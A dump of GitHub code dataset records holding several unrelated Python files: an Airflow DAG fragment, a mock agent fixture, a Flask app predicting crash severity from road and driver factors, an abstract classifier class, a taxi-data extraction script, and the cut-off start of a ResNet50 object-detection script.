statement'\nSNOWFLAKE_DATABASE = 'test_db'\nt4 = SnowflakeOperator(\n task_id='snowflake_op_with_params',\n dag=dag,\n snowflake_conn_id=SNOWFLAKE_CONN_ID,\n sql=SQL_SELECT_STATEMENT,\n database=SNOWFLAKE_DATABASE,\n schema=SNOWFLAKE_SCHEMA,\n)\n\n# t2 will depend on t1\n# running successfully to run\n# t1.set_downstream(t2)\n# t1 >> t2 # similar\n\nt1 >> [t2, t3]\n\nt4 >> t1\n\n# similar to above where t3 will depend on t1\n# t3.set_downstream(t1)\n# t3 >> t1 # similar\n","repo_name":"Vleasikss/python-airflow-python-script-template","sub_path":"dags/__pycache__/tutorial1.py","file_name":"tutorial1.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25706542674","text":"\n\ndef agent(id_='1', version='1.065959', vault_size='2 GB',\n data_center='ORD', ip_address='0.0.0.0',\n name='mock', os='linux', os_version='13.04',\n encrypted=False, disabled=False, status='Unknown'):\n return {\n 'MachineAgentId': id_,\n 'AgentVersion': version,\n 'BackupVaultSize': vault_size,\n 'CleanupAllowed': True,\n 'Datacenter': data_center,\n 'IPAddress': ip_address,\n 'MachineName': name,\n 'OperatingSystem': os,\n 'OperatingSystemVersion': os_version,\n 'IsEncrypted': encrypted,\n 'IsDisabled': disabled,\n 'Status': status\n }\n","repo_name":"rackerlabs/cbu-sdk-python","sub_path":"deprecated/tests/mock/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"71116852673","text":"import joblib\nfrom utils import *\nfrom flask import Flask, render_template, request\nimport sklearn\n\n# Init Flask\napplication = Flask(__name__)\napplication.secret_key = 'very-secret-key'\n\n# GET '/'\n@application.route('/')\n@application.route('/index')\ndef index():\n # Render\n return render_template('index.html', title='CarSafetyApp')\n\n# model = joblib.load('rm.pkl')\n\n@application.route('/predict', methods=['POST'])\ndef make_prediction():\n if request.method == 'POST':\n # get request values\n\n OLD_CAR = request.form['old_car']\n OLD_CAR = switch_older_car(OLD_CAR)\n\n # one-hot encode categorical variables\n\n CF = request.form['cf']\n CF = switch_crash_related(CF)\n # print(CF)\n CF_3, CF_5, CF_7, CF_13, CF_14, CF_15, CF_16, CF_17, CF_19, CF_20, CF_21, CF_23, CF_24, CF_25, CF_26, CF_27, CF_28 = onehotCategorical(\n CF, 17)\n\n LGTCON_IM = request.form['lighting']\n LGTCON_IM = switch_lighting(LGTCON_IM)\n LGTCON_IM_1, LGTCON_IM_2, LGTCON_IM_3, LGTCON_IM_4, LGTCON_IM_5, LGTCON_IM_6, LGTCON_IM_7 = onehotCategorical(\n LGTCON_IM, 7)\n\n TYPE_INT_LIST = ['1 Not an Intersection',\n '2 Four-Way Intersection',\n '3 T-Intersection',\n '4 Y-Intersection',\n '5 Traffic Circle',\n '6 Roundabout',\n '7 Five-Point, or More',\n '10 L-Intersection']\n TYPE_INT = TYPE_INT_LIST.index(request.form['type_int'])\n list_len = len(TYPE_INT_LIST)\n TYP_INT_1, TYP_INT_2, TYP_INT_3, TYP_INT_4, TYP_INT_5, TYP_INT_6, TYP_INT_7, TYP_INT_10 = onehotCategorical(\n TYPE_INT, list_len)\n\n REL_ROAD_LIST = ['1 On Roadway',\n '2 On Shoulder',\n '3 On Median',\n '4 On Roadside',\n '5 Outside Trafficway',\n '6 Off Roadway – Location Unknown',\n '7 In Parking Lane/Zone',\n '8 Gore',\n '10 Separator',\n '11 Continuous Left Turn Lane']\n\n REL_ROAD = REL_ROAD_LIST.index(request.form['rel_road'])\n list_len = len(REL_ROAD_LIST)\n REL_ROAD_1, REL_ROAD_2, REL_ROAD_3, REL_ROAD_4, REL_ROAD_5, REL_ROAD_6, REL_ROAD_7, REL_ROAD_8, REL_ROAD_10, REL_ROAD_11 = onehotCategorical(\n REL_ROAD, list_len)\n\n WRK_ZONE_LIST = ['0 None',\n '1 Construction',\n '2 Maintenance',\n '3 Utility']\n WRK_ZONE = WRK_ZONE_LIST.index(request.form['wrk_zone'])\n list_len = len(WRK_ZONE_LIST)\n WRK_ZONE_0, WRK_ZONE_1, WRK_ZONE_2, WRK_ZONE_3 = onehotCategorical(WRK_ZONE, list_len)\n\n WEATHR_IM_LIST = ['1 Clear',\n '2 Rain',\n '3 Sleet or Hail',\n '4 Snow',\n '5 Fog, Smog, Smoke',\n '6 Severe Crosswinds',\n '7 Blowing Sand, Soil, Dirt',\n '8 Other',\n '10 Cloudy',\n '11 Blowing Snow',\n '12 Freezing Rain or Drizzle']\n WEATHR_IM = WEATHR_IM_LIST.index(request.form['weather_im'])\n list_len = len(WEATHR_IM_LIST)\n WEATHR_IM_1, WEATHR_IM_2, WEATHR_IM_3, WEATHR_IM_4, WEATHR_IM_5, WEATHR_IM_6, WEATHR_IM_7, WEATHR_IM_8, WEATHR_IM_10, WEATHR_IM_11, WEATHR_IM_12 = onehotCategorical(\n WEATHR_IM, list_len)\n\n ALCHL_IM_LIST = ['1 Alcohol Involved', '2 No Alcohol Involved']\n ALCHL_IM = ALCHL_IM_LIST.index(request.form['alchl_im'])\n list_len = len(ALCHL_IM_LIST)\n ALCHL_IM_1, ALCHL_IM_2 = onehotCategorical(ALCHL_IM, list_len)\n\n URBANICITY_LIST = ['1 Urban', '2 Rural']\n URBANICITY = URBANICITY_LIST.index(request.form['urbancity'])\n list_len = len(URBANICITY_LIST)\n URBANICITY_1, URBANICITY_2 = onehotCategorical(URBANICITY, list_len)\n\n SPEED_LIST = ['Less than 30 MPH',\n 'Between 30 and 65 MPH',\n 'More than 65 MPH']\n SPEED = SPEED_LIST.index(request.form['speed'])\n list_len = len(SPEED_LIST)\n SPD_L30MPH, SPD_30_65MPH, SPD_G65MPH = onehotCategorical(SPEED, list_len)\n\n BDTYPE_IM = request.form['bdtyp_im']\n BDTYPE_IM = switch_body_type(BDTYPE_IM)\n BDYTYP_IM_1, BDYTYP_IM_2, BDYTYP_IM_3, BDYTYP_IM_4, BDYTYP_IM_5, BDYTYP_IM_6, BDYTYP_IM_7, BDYTYP_IM_8, BDYTYP_IM_9, BDYTYP_IM_10, BDYTYP_IM_11, BDYTYP_IM_12, BDYTYP_IM_13, BDYTYP_IM_14, BDYTYP_IM_15, BDYTYP_IM_16, BDYTYP_IM_17, BDYTYP_IM_19, BDYTYP_IM_20, BDYTYP_IM_21, BDYTYP_IM_22, BDYTYP_IM_28, BDYTYP_IM_29, BDYTYP_IM_30, BDYTYP_IM_31, BDYTYP_IM_32, BDYTYP_IM_34, BDYTYP_IM_39, BDYTYP_IM_40, BDYTYP_IM_41, BDYTYP_IM_42, BDYTYP_IM_45, BDYTYP_IM_48, BDYTYP_IM_50, BDYTYP_IM_51, BDYTYP_IM_52, BDYTYP_IM_55, BDYTYP_IM_58, BDYTYP_IM_59, BDYTYP_IM_60, BDYTYP_IM_61, BDYTYP_IM_62, BDYTYP_IM_63, BDYTYP_IM_64, BDYTYP_IM_65, BDYTYP_IM_66, BDYTYP_IM_67, BDYTYP_IM_71, BDYTYP_IM_72, BDYTYP_IM_73, BDYTYP_IM_78, BDYTYP_IM_80, BDYTYP_IM_81, BDYTYP_IM_82, BDYTYP_IM_83, BDYTYP_IM_84, BDYTYP_IM_85, BDYTYP_IM_86, BDYTYP_IM_87, BDYTYP_IM_88, BDYTYP_IM_89, BDYTYP_IM_90, BDYTYP_IM_91, BDYTYP_IM_92, BDYTYP_IM_93, BDYTYP_IM_94, BDYTYP_IM_95, BDYTYP_IM_96, BDYTYP_IM_97 = onehotCategorical(\n BDTYPE_IM, 69)\n\n SPEEDREL_LIST = ['0 No',\n '2 Yes, Racing',\n '3 Yes, Exceeded Speed Limit',\n '4 Yes, Too Fast for Conditions',\n '5 Yes, Specifics Unknown']\n SPEEDREL = SPEEDREL_LIST.index(request.form['speedrel'])\n list_len = len(SPEEDREL_LIST)\n SPEEDREL_0, SPEEDREL_2, SPEEDREL_3, SPEEDREL_4, SPEEDREL_5 = onehotCategorical(SPEEDREL, list_len)\n\n VALIGN_LIST = ['0 Non-Road or Driveway',\n '1 Straight',\n '2 Curve Right',\n '3 Curve Left',\n '4 Curve – Unknown Dir.']\n VALIGN = VALIGN_LIST.index(request.form['valign'])\n list_len = len(VALIGN_LIST)\n VALIGN_0, VALIGN_1, VALIGN_2, VALIGN_3, VALIGN_4 = onehotCategorical(VALIGN, list_len)\n\n VPROFILE_LIST = ['0 Non-Road or Driveway',\n '1 Level',\n '2 Grade, Unknown Slope',\n '3 Hillcrest',\n '4 Sag (Bottom)',\n '5 Uphill',\n '6 Downhill']\n VPROFILE = VPROFILE_LIST.index(request.form['vprofile'])\n VPROFILE_0, VPROFILE_1, VPROFILE_2, VPROFILE_3, VPROFILE_4, VPROFILE_5, VPROFILE_6 = onehotCategorical(VPROFILE,\n len(\n VPROFILE_LIST))\n\n VSURCOND_LIST = ['0 Non-Road or Driveway',\n '1 Dry',\n '2 Wet',\n '3 Snow',\n '4 Ice/Frost',\n '5 Sand',\n '6 Water',\n '7 Oil',\n '8 Other',\n '10 Slush',\n '11 Mud, Dirt, Gravel']\n VSURCOND = VSURCOND_LIST.index(request.form['vsurcond'])\n VSURCOND_0, VSURCOND_1, VSURCOND_2, VSURCOND_3, VSURCOND_4, VSURCOND_5, VSURCOND_6, VSURCOND_7, VSURCOND_8, VSURCOND_10, VSURCOND_11 = onehotCategorical(\n VSURCOND, len(VSURCOND_LIST))\n\n PCRASH1_IM_LIST = ['0 No/Unknown if Driver Present',\n '1 Going Straight',\n '2 Decelerating in Road',\n '3 Accelerating in Road',\n '4 Starting in Road',\n '5 Stopped in Roadway',\n '6 Passing or Overtaking Another Veh.',\n '7 Disabled or Parked in Travel Lane',\n '8 Leaving a Parking Position',\n '9 Entering a Parking Position',\n '10 Turning Right',\n '11 Turning Left',\n '12 Making a U-turn',\n '13 Backing Up (Other than to Park)',\n '14 Negotiating a Curve',\n '15 Changing Lanes',\n '16 Merging',\n '17 Successful Corrective Action',\n '98 Other']\n PCRASH1_IM = PCRASH1_IM_LIST.index(request.form['pcrash1_im'])\n PCRASH1_IM_0, PCRASH1_IM_1, PCRASH1_IM_2, PCRASH1_IM_3, PCRASH1_IM_4, PCRASH1_IM_5, PCRASH1_IM_6, PCRASH1_IM_7, PCRASH1_IM_8, PCRASH1_IM_9, PCRASH1_IM_10, PCRASH1_IM_11, PCRASH1_IM_12, PCRASH1_IM_13, PCRASH1_IM_14, PCRASH1_IM_15, PCRASH1_IM_16, PCRASH1_IM_17, PCRASH1_IM_98 = onehotCategorical(\n PCRASH1_IM, len(PCRASH1_IM_LIST))\n\n DR_SF_LIST = ['6 Careless Driving',\n '8 Road Rage/Aggressive Driving',\n '9 Emergency Services Personnel',\n '10 Looked But Did Not See',\n '16 Police or Law Enforcement Officer',\n '18 Traveling on Prohibited Trafficways',\n '20 Leaving Vehicle Unattended with Engine Running; Leaving Vehicle Unattended in Roadway',\n '21 Overloading or Improper Loading of Vehicle with Passenger or Cargo',\n '22 Towing or Pushing Vehicle Improperly',\n '23 Failing to Dim Lights or to Have Lights on When Required',\n '24 Operating Without Required Equipment',\n '32 Opening Vehicle Closure into Moving Traffic or Vehicle is in Motion or Operating at Erratic or Suddenly Changing Speeds',\n '36 Operating Vehicle in an Erratic, Reckless, Careless or Negligent Manner',\n '37 Police Pursuing this Driver or Police Officer in Pursuit',\n '50 Driving Wrong Way on One-Way Trafficway',\n '51 Driving on Wrong Side of Two-Way Trafficway',\n '54 Stopping in Roadway (Vehicle Not Abandoned)',\n '55 Improper Management of Vehicle Controls',\n '56 Object Interference with Vehicle Controls',\n '57 Driving with Tire-Related Problems',\n '58 Over Correcting',\n '59 Getting Off/Out of a Vehicle',\n '60 Alcohol and/or Drug Test Refused',\n '91 Non-Traffic Violation Charged (Manslaughter, Homicide or Other)']\n DR_SF = DR_SF_LIST.index(request.form['dr_sf'])\n DR_SF_6, DR_SF_8, DR_SF_9, DR_SF_10, DR_SF_16, DR_SF_18, DR_SF_20, DR_SF_21, DR_SF_22, DR_SF_23, DR_SF_24, DR_SF_32, DR_SF_36, DR_SF_37, DR_SF_50, DR_SF_51, DR_SF_54, DR_SF_55, DR_SF_56, DR_SF_57, DR_SF_58, DR_SF_59, DR_SF_60, DR_SF_91 = onehotCategorical(\n DR_SF, len(DR_SF_LIST))\n\n IMPAIRED_LIST = ['0 None/Apparently Normal',\n '1 Ill, Blackout',\n '2 Asleep or Fatigued',\n '3 Walking with a Cane or Crutches, etc.',\n '4 Paraplegic or in Wheelchair',\n '5 Impaired Due to Previous Injury',\n '6 Deaf',\n '7 Blind',\n '8 Emotional (Depressed, Angry, Disturbed, etc.)',\n '9 DUI of Alcohol, Drugs or Meds',\n '10 Physical Impairment – No Details',\n '95 No/Unknown if Driver Present',\n '96 Other Physical Impairment']\n IMPAIRED = IMPAIRED_LIST.index(request.form['impaired'])\n IMPAIRED_NONE, IMPAIRED_BLACKOUT, IMPAIRED_ASLEEP, IMPAIRED_CANE, IMPAIRED_PARAPALEGIC, IMPAIRED_PREINJ, IMPAIRED_DEAF, IMPAIRED_BLIND, IMPAIRED_EMOTIONAL, IMPAIRED_DUI, IMPAIRED_PHY_UNK, IMPAIRED_NO_DRIVER, IMPAIRED_OTHER = onehotCategorical(\n IMPAIRED, len(IMPAIRED_LIST))\n\n REST_USE_LIST = ['0 Not Applicable',\n '1 Shoulder Belt Only Used',\n '2 Lap Belt Only Used',\n '3 Lap and Shoulder Belt Used',\n '4 Child Restraint Type Unknown',\n '5 DOT-Compliant Motorcycle Helmet',\n '7 None Used',\n '8 Restraint Used – Type Unknown',\n '10 Child Restraint System – Forward Facing',\n '11 Child Restraint System – Rear Facing',\n '12 1Booster Seat',\n '16 Helmet, Other than DOT-Compliant Motorcycle Helmet',\n '17 No Helmet',\n '19 Helmet, Unknown if DOT-Compliant',\n '20 None Used / Not Applicable',\n '29 Unknown if Helmet Worn',\n '96 Not a Motor Vehicle Occupant',\n '97 Other']\n REST_USE = REST_USE_LIST.index(request.form['rest_use'])\n REST_USE_0, REST_USE_1, REST_USE_2, REST_USE_3, REST_USE_4, REST_USE_5, REST_USE_7, REST_USE_8, REST_USE_10, REST_USE_11, REST_USE_12, REST_USE_16, REST_USE_17, REST_USE_19, REST_USE_20, REST_USE_29, REST_USE_96, REST_USE_97 = onehotCategorical(\n REST_USE, len(REST_USE_LIST))\n\n REST_MIS_LIST = ['No', 'Yes']\n REST_MIS = REST_MIS_LIST.index(request.form['rest_mis'])\n REST_MIS_0, REST_MIS_1 = onehotCategorical(REST_MIS, len(REST_MIS_LIST))\n\n DRUGS_LIST = ['No (Drugs Not Involved)',\n 'Yes (Drugs Involved)']\n DRUGS = DRUGS_LIST.index(request.form['drugs'])\n DRUGS_0, DRUGS_1 = onehotCategorical(DRUGS, len(DRUGS_LIST))\n\n MFACTOR_LIST = ['0 None',\n '1 Tires',\n '2 Brake System',\n '3 Steering System-Tie Rod, Kingpin, Ball Joint, etc.',\n '4 Suspension-Springs, Shock Absorbers, Struts, etc.',\n '5 Power Train-Universal Joint, Drive Shaft, Transmission, etc.',\n '6 Exhaust System',\n '7 Headlights',\n '8 Signal Lights',\n '9 Other Lights',\n '10 Wipers',\n '11 Wheels',\n '12 Mirrors',\n '13 Windows/Windshield',\n '14 Body, Doors',\n '15 Truck Coupling/Trailer Hitch/Safety Chains',\n '16 Safety Systems',\n '17 Vehicle Contributing Factors-No Details',\n '97 Other']\n MFACTOR = MFACTOR_LIST.index(request.form['mfactor'])\n MFACTOR_0, MFACTOR_1, MFACTOR_2, MFACTOR_3, MFACTOR_4, MFACTOR_5, MFACTOR_6, MFACTOR_7, MFACTOR_8, MFACTOR_9, MFACTOR_10, MFACTOR_11, MFACTOR_12, MFACTOR_13, MFACTOR_14, MFACTOR_15, MFACTOR_16, MFACTOR_17, MFACTOR_97 = onehotCategorical(\n MFACTOR, len(MFACTOR_LIST))\n\n MDRDSTRD_LIST = ['0 Not Distracted',\n '1 Looked But Did Not See',\n '3 By Other Occupants',\n '4 By a Moving Object In Vehicle',\n '5 While Talking Or Listening To Cellular Phone',\n '6 While Manipulating Cellular Phone',\n '7 While Adjusting Audio Or Climate Controls',\n '9 While Using Other Component/Controls Integral To Vehicle',\n '10 While Using Or Reaching For Device/Object Brought into Vehicle',\n '12 Distracted By Outside Person, Object Or Event',\n '13 Eating Or Drinking',\n '14 Smoking Related',\n '15 Other Cellular Phone Related',\n '16 No Driver Present/Unknown if Driver Present',\n '17 Distraction/Inattention',\n '18 Distraction/Careless',\n '19 Careless/Inattentive',\n '92 Distraction (Distracted), Details Unknown',\n '93 Inattention (Inattentive), Details Unknown',\n '96 Not Reported',\n '97 Lost In Thought/Day Dreaming',\n '98 Other Distraction']\n MDRDSTRD = MDRDSTRD_LIST.index(request.form['mdrdstrd'])\n MDRDSTRD_0, MDRDSTRD_1, MDRDSTRD_3, MDRDSTRD_4, MDRDSTRD_5, MDRDSTRD_6, MDRDSTRD_7, MDRDSTRD_9, MDRDSTRD_10, MDRDSTRD_12, MDRDSTRD_13, MDRDSTRD_14, MDRDSTRD_15, MDRDSTRD_16, MDRDSTRD_17, MDRDSTRD_18, MDRDSTRD_19, MDRDSTRD_92, MDRDSTRD_93, MDRDSTRD_96, MDRDSTRD_97, MDRDSTRD_98 = onehotCategorical(MDRDSTRD, len(MDRDSTRD_LIST))\n\n # manually specify competition distance\n comp_dist = 5458.1\n\n # build 1 observation for prediction\n entered_li = [CF_3, CF_5, CF_7, CF_13, CF_14, CF_15, CF_16, CF_17, CF_19, CF_20, CF_21, CF_23,\n CF_24, CF_25, CF_26, CF_27, CF_28, LGTCON_IM_1, LGTCON_IM_2, LGTCON_IM_3, LGTCON_IM_4,\n LGTCON_IM_5, LGTCON_IM_6, LGTCON_IM_7,\n TYP_INT_1, TYP_INT_2, TYP_INT_3, TYP_INT_4, TYP_INT_5, TYP_INT_6, TYP_INT_7, TYP_INT_10,\n REL_ROAD_1, REL_ROAD_2, REL_ROAD_3, REL_ROAD_4, REL_ROAD_5, REL_ROAD_6, REL_ROAD_7, REL_ROAD_8,\n REL_ROAD_10, REL_ROAD_11, WRK_ZONE_0, WRK_ZONE_1, WRK_ZONE_2, WRK_ZONE_3, WEATHR_IM_1,\n WEATHR_IM_2, WEATHR_IM_3, WEATHR_IM_4, WEATHR_IM_5, WEATHR_IM_6, WEATHR_IM_7, WEATHR_IM_8,\n WEATHR_IM_10, WEATHR_IM_11, WEATHR_IM_12, ALCHL_IM_1, ALCHL_IM_2, URBANICITY_1, URBANICITY_2, OLD_CAR, SPD_L30MPH, SPD_30_65MPH, SPD_G65MPH, BDYTYP_IM_1,\n BDYTYP_IM_2, BDYTYP_IM_3, BDYTYP_IM_4, BDYTYP_IM_5, BDYTYP_IM_6, BDYTYP_IM_7, BDYTYP_IM_8,\n BDYTYP_IM_9, BDYTYP_IM_10, BDYTYP_IM_11, BDYTYP_IM_12, BDYTYP_IM_13, BDYTYP_IM_14, BDYTYP_IM_15,\n BDYTYP_IM_16, BDYTYP_IM_17, BDYTYP_IM_19, BDYTYP_IM_20, BDYTYP_IM_21, BDYTYP_IM_22, BDYTYP_IM_28,\n BDYTYP_IM_29, BDYTYP_IM_30, BDYTYP_IM_31, BDYTYP_IM_32, BDYTYP_IM_34, BDYTYP_IM_39, BDYTYP_IM_40,\n BDYTYP_IM_41, BDYTYP_IM_42, BDYTYP_IM_45, BDYTYP_IM_48, BDYTYP_IM_50, BDYTYP_IM_51, BDYTYP_IM_52,\n BDYTYP_IM_55, BDYTYP_IM_58, BDYTYP_IM_59, BDYTYP_IM_60, BDYTYP_IM_61, BDYTYP_IM_62, BDYTYP_IM_63,\n BDYTYP_IM_64, BDYTYP_IM_65, BDYTYP_IM_66, BDYTYP_IM_67, BDYTYP_IM_71, BDYTYP_IM_72, BDYTYP_IM_73,\n BDYTYP_IM_78, BDYTYP_IM_80, BDYTYP_IM_81, BDYTYP_IM_82, BDYTYP_IM_83, BDYTYP_IM_84, BDYTYP_IM_85,\n BDYTYP_IM_86, BDYTYP_IM_87, BDYTYP_IM_88, BDYTYP_IM_89, BDYTYP_IM_90, BDYTYP_IM_91, BDYTYP_IM_92,\n BDYTYP_IM_93, BDYTYP_IM_94, BDYTYP_IM_95, BDYTYP_IM_96, BDYTYP_IM_97, SPEEDREL_0, SPEEDREL_2,\n SPEEDREL_3, SPEEDREL_4, SPEEDREL_5, VALIGN_0, VALIGN_1, VALIGN_2, VALIGN_3, VALIGN_4, VPROFILE_0, VPROFILE_1,\n VPROFILE_2, VPROFILE_3, VPROFILE_4, VPROFILE_5, VPROFILE_6, VSURCOND_0, VSURCOND_1, VSURCOND_2,\n VSURCOND_3, VSURCOND_4, VSURCOND_5, VSURCOND_6, VSURCOND_7, VSURCOND_8, VSURCOND_10, VSURCOND_11,\n PCRASH1_IM_0, PCRASH1_IM_1, PCRASH1_IM_2, PCRASH1_IM_3, PCRASH1_IM_4, PCRASH1_IM_5, PCRASH1_IM_6,\n PCRASH1_IM_7, PCRASH1_IM_8, PCRASH1_IM_9, PCRASH1_IM_10, PCRASH1_IM_11, PCRASH1_IM_12,\n PCRASH1_IM_13, PCRASH1_IM_14, PCRASH1_IM_15, PCRASH1_IM_16, PCRASH1_IM_17, PCRASH1_IM_98, DR_SF_6,\n DR_SF_8, DR_SF_9, DR_SF_10, DR_SF_16, DR_SF_18, DR_SF_20, DR_SF_21, DR_SF_22, DR_SF_23, DR_SF_24,\n DR_SF_32, DR_SF_36, DR_SF_37, DR_SF_50, DR_SF_51, DR_SF_54, DR_SF_55, DR_SF_56, DR_SF_57,\n DR_SF_58, DR_SF_59, DR_SF_60, DR_SF_91, IMPAIRED_NONE, IMPAIRED_BLACKOUT, IMPAIRED_ASLEEP,\n IMPAIRED_CANE, IMPAIRED_PARAPALEGIC, IMPAIRED_PREINJ, IMPAIRED_DEAF, IMPAIRED_BLIND,\n IMPAIRED_EMOTIONAL, IMPAIRED_DUI, IMPAIRED_PHY_UNK, IMPAIRED_NO_DRIVER, IMPAIRED_OTHER, REST_USE_0, REST_USE_1, REST_USE_2, REST_USE_3,\n REST_USE_4, REST_USE_5, REST_USE_7, REST_USE_8, REST_USE_10, REST_USE_11, REST_USE_12,\n REST_USE_16, REST_USE_17, REST_USE_19, REST_USE_20, REST_USE_29, REST_USE_96, REST_USE_97,\n REST_MIS_0, REST_MIS_1, DRUGS_0, DRUGS_1, MFACTOR_0, MFACTOR_1, MFACTOR_2, MFACTOR_3, MFACTOR_4,\n MFACTOR_5, MFACTOR_6, MFACTOR_7, MFACTOR_8, MFACTOR_9, MFACTOR_10, MFACTOR_11, MFACTOR_12,\n MFACTOR_13, MFACTOR_14, MFACTOR_15, MFACTOR_16, MFACTOR_17, MFACTOR_97, MDRDSTRD_0, MDRDSTRD_1,\n MDRDSTRD_3, MDRDSTRD_4, MDRDSTRD_5, MDRDSTRD_6, MDRDSTRD_7, MDRDSTRD_9, MDRDSTRD_10, MDRDSTRD_12,\n MDRDSTRD_13, MDRDSTRD_14, MDRDSTRD_15, MDRDSTRD_16, MDRDSTRD_17, MDRDSTRD_18, MDRDSTRD_19,\n MDRDSTRD_92, MDRDSTRD_93, MDRDSTRD_96, MDRDSTRD_97, MDRDSTRD_98]\n\n # entered_li = [StoreType_a, StoreType_b, StoreType_c, StoreType_d, Assortment_a, Assortment_b, Assortment_c, StateHoliday_0, StateHoliday_a, StateHoliday_b, StateHoliday_c, comp_dist, Promo2, DayOfWeek,Month,SchoolHoliday]\n print(entered_li)\n\n # make prediction\n\n # CORRECT\n model = joblib.load('gb.pkl')\n prediction = model.predict(np.array(entered_li).reshape(1, -1))\n #label = str(np.squeeze(prediction.round(2)))\n\n if prediction == 0:\n #print(\"ok\")\n label = \"NO: A severe accident is unlikely based on the factors presented.\"\n else:\n label = \"YES: A severe accident is likely based on the factors presented.\"\n\n\n return render_template('index.html', label=label)\n\n\nif __name__ == \"__main__\":\n application.run(load_dotenv=True, use_reloader=True)\n\n model = joblib.load('gb.pkl')\n# run the app.\n\n\n# Ref\n# https://www.likeanswer.com/question/330646\n","repo_name":"jefbags/DS504","sub_path":"webapp/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":22729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33979220855","text":"import numpy as np\nfrom classification.data_set import DataSet\nfrom sklearn.metrics import precision_recall_fscore_support\nfrom classification.util import confusion_matrix\nfrom sklearn.preprocessing import LabelEncoder\nfrom classification.util.logger import Logger\nfrom itertools import compress\nimport time\n\n\nclass Classifier():\n \"\"\"abstract class for a classifier\"\"\"\n\n def __init__(self, dataset: \"DataSet\", logger: \"Logger\" = None, *args, **kwargs):\n self.ds = dataset\n self.logger = logger\n\n def fit(self):\n raise NotImplementedError(\"Should have implemented this\")\n\n def update(self, x, y):\n raise NotImplementedError(\"Should have implemented this\")\n\n def validate(self):\n raise NotImplementedError(\"Should have implemented this\")\n\n def predict(self, x):\n raise NotImplementedError(\"Should have implemented this\")\n\n def predict_proba(self, x):\n raise NotImplementedError(\"Should have implemented this\")\n\n def save(self, path: str):\n raise NotImplementedError(\"Should have implemented this\")\n\n def metrics(self):\n y_true = self.ds.y_test\n y_pred = self.predict(self.ds.x_test)\n\n (precision, recall, fscore, _) = precision_recall_fscore_support(y_true, y_pred, average='weighted')\n\n if self.logger is None:\n print(f\"precision: \\t {precision:04.2f}\")\n print(f\"recall: \\t {recall:04.2f}\")\n print(f\"fscore: \\t {fscore:04.2f}\")\n else:\n self.logger.log_and_print(f\"precision: \\t {precision:04.2f}\")\n self.logger.log_and_print(f\"recall: \\t {recall:04.2f}\")\n self.logger.log_and_print(f\"fscore: \\t {fscore:04.2f}\")\n\n return (precision, recall, fscore)\n\n #def print_wrong_test(self):\n # idx_offset_length = len(self.ds.y_train) + len(self.ds.y_val)\n # idx_offset = np.zeros(idx_offset_length, dtype=bool)\n # y_true = self.ds.y_test\n # y_pred = self.predict(self.ds.x_test)\n # correct_predicted = np.equal(y_true, y_pred)\n # false_predicted = np.invert(correct_predicted)\n # filter_indexes = np.append(idx_offset, false_predicted)\n # wrong_predicted = list(compress(self.ds.raw_data, filter_indexes))\n # for prediction in wrong_predicted:\n # text = u''.join(prediction).encode('utf-8')\n # self.logger.log_and_print(text)\n\n def plot_confusion_matrix(self, show_plot=True):\n y_true = self.ds.y_test\n y_pred = self.predict(self.ds.x_test)\n\n class_names = []\n if self.ds.class_names == None:\n le = LabelEncoder()\n le.fit(y_true)\n class_names = le.classes_\n else:\n class_names = self.ds.class_names\n\n if self.logger is None:\n path = None\n else:\n path = self.logger.get_log_path(\"confusion_matrix\", \".png\")\n\n confusion_matrix.create_and_plot_confusion_matrix(y_true, y_pred, class_names, save_path=path,\n show_plot=show_plot)\n\n def save_online_model(self, model: str):\n str_time = f\"{time.strftime('%Y_%m_%d_%H_%M_%S')}\"\n path = f'../../data/online_learning/{model}/{str_time}'\n self.save(f'{path}_{model}_model.pkl')\n file = open(f'{path}_metrics', 'w+')\n print(f'Accuracy: {self.classifier.score(self.ds.x_test, self.ds.y_test)}', file=file)\n (precision, recall, fscore) = self.metrics()\n print(f'Precision: {precision}', file=file)\n print(f'Precision: {recall}', file=file)\n print(f'Precision: {fscore}', file=file)\n file.close()\n","repo_name":"swordbreaker/NLP","sub_path":"Assignment3/classification/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24932796523","text":"\"\"\" EXTRACT AND SAVE TAXI DATA \"\"\"\nimport os\nimport logging\nimport pandas as pd\nfrom datetime import datetime\n\nlogging.basicConfig(level=logging.INFO)\n\nDATA_URL_BASE = \"https://d37ci6vzurychx.cloudfront.net/trip-data/\"\nDATA_URL_SUFFIX = f\"yellow_tripdata_{datetime.now().strftime('%Y-%m')}.parquet\"\nOUTPUT_PATH = os.getenv('OUTPUT_PATH')\nTEST_URL = \"https://d37ci6vzurychx.cloudfront.net/trip-data/yellow_tripdata_2022-01.parquet\"\n\ndef extract_taxi_data():\n \"\"\"\n extract parqeut file and save as csv\n \"\"\"\n if not os.path.exists(OUTPUT_PATH):\n logging.info(f\"Attempting to extract file: {TEST_URL}\")\n try:\n data = pd.read_parquet(TEST_URL)\n data.to_csv(OUTPUT_PATH)\n logging.info(\"Extraction Successful\")\n except Exception as e:\n logging.warning(f\"Exception: {str(e)}\")\n logging.warning(\"Failed to extract the file. Ensure URL exists\")\n else:\n logging.info(\"File already exists. Moving to Load\")","repo_name":"mgoodman94/data-engineering-zoomcamp","sub_path":"week-2/airflow/scripts/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34395823783","text":"# python main.py --image \".\\Input_Images\\beagle.png\" --filter beagle\n\nfrom tensorflow.keras.applications import ResNet50, imagenet_utils\nfrom tensorflow.keras.applications.resnet50 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom utils import non_max_suppression, get_selective_search\nimport numpy as np\nimport argparse\nimport cv2\nimport os\n\n# Command Line Arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\",\"--image\",required=True, help=\"Path for the input image\")\nap.add_argument(\"-m\",\"--method\", default=\"fast\", type=str, choices=[\"fast\", \"quality\"], help=\"Method for the selective search\")\nap.add_argument(\"-c\",\"--min-conf\", type=float, default=0.9, help=\"Minimum confidence for 